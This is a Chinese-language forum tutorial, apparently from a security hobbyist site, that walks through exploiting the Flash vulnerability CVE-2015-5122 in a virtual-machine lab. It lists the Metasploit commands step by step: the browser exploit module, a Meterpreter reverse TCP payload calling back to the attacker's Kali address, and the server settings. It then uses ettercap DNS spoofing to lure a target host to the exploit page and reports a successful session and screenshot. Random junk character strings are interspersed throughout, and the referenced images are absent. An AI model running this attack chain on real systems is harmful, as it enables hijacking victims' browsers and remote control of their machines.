cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机 3 _# n1 Q8 n+ k% e/ f M" o

9 f" b" G( n7 _2 }2 I

5 p" L6 U: }, `; l% }3 A   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

0 }1 I# r) `" t( |$ L0 m" w3 n

search cve-2015-5122如图：

# z7 h" [- X0 }$ z; e: r \! b+ n

' Y3 m W3 ?! t/ e0 a6 C  

下面我们敲如下命令： 6 w% t) h4 P) t% D& D, r

# x/ y/ i1 o" i- ]5 }: B use exploit/multi/browser/adobe_flash_opaque_background_uaf

& Q# ?6 V) I! X- L

6 H( B; }! T! I" h8 P set PAYLOAD windows/meterpreter/reverse_tcp ( ^$ K* w; @# h- s" ^; e

: v& F& D' B' \# T: q set LHOST 192.168.0.109

0 y V# u' y6 Y! s6 Y2 k7 ?$ [

set URIPATH /                        /*根目录*/

: a9 J$ T( ^: C U( s5 {( O( V

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 / H! x- w- Z) @+ [9 E! o& k

; t6 h1 G/ y$ h) H

0 Z# z& Z, n( a& M set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

0 Y6 Q0 Z9 w, d/ Z9 g1 w; E+ `) i 然后show options如图：

8 l3 V6 F! ]& `7 k! Q) y

 

* T/ L7 [3 U' H" A 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
|/ e4 M3 T; j( ^7 u B/ Z

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 ( e" c# G$ o) b, G0 z

9 M1 z7 {2 T' C# n2 R. x$ q Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

, s. Q% v+ {7 \ i+ Z2 }   # n/ [4 m5 k. G9 w& t, J. e' q

1 G- E' I/ x ^- p

* X' N% n& U) M 成功了，这时候我们断开ettercap，如图： 2 m9 g$ R9 j" e! H4 M2 n* m( W) J. y8 Q

9 r$ Z" q V( y9 a. {7 `4 F0 k

 

Screenshot如图： " ^4 [. O5 C& ^/ |

' T+ t1 G% _) u5 o( v

( v$ a( [: R& v) {: ^  

9 C* L( |; V9 s. M1 Q5 ?! J+ `

( u& X( J! [4 ]6 S" C 2 e" W4 K i$ Q6 b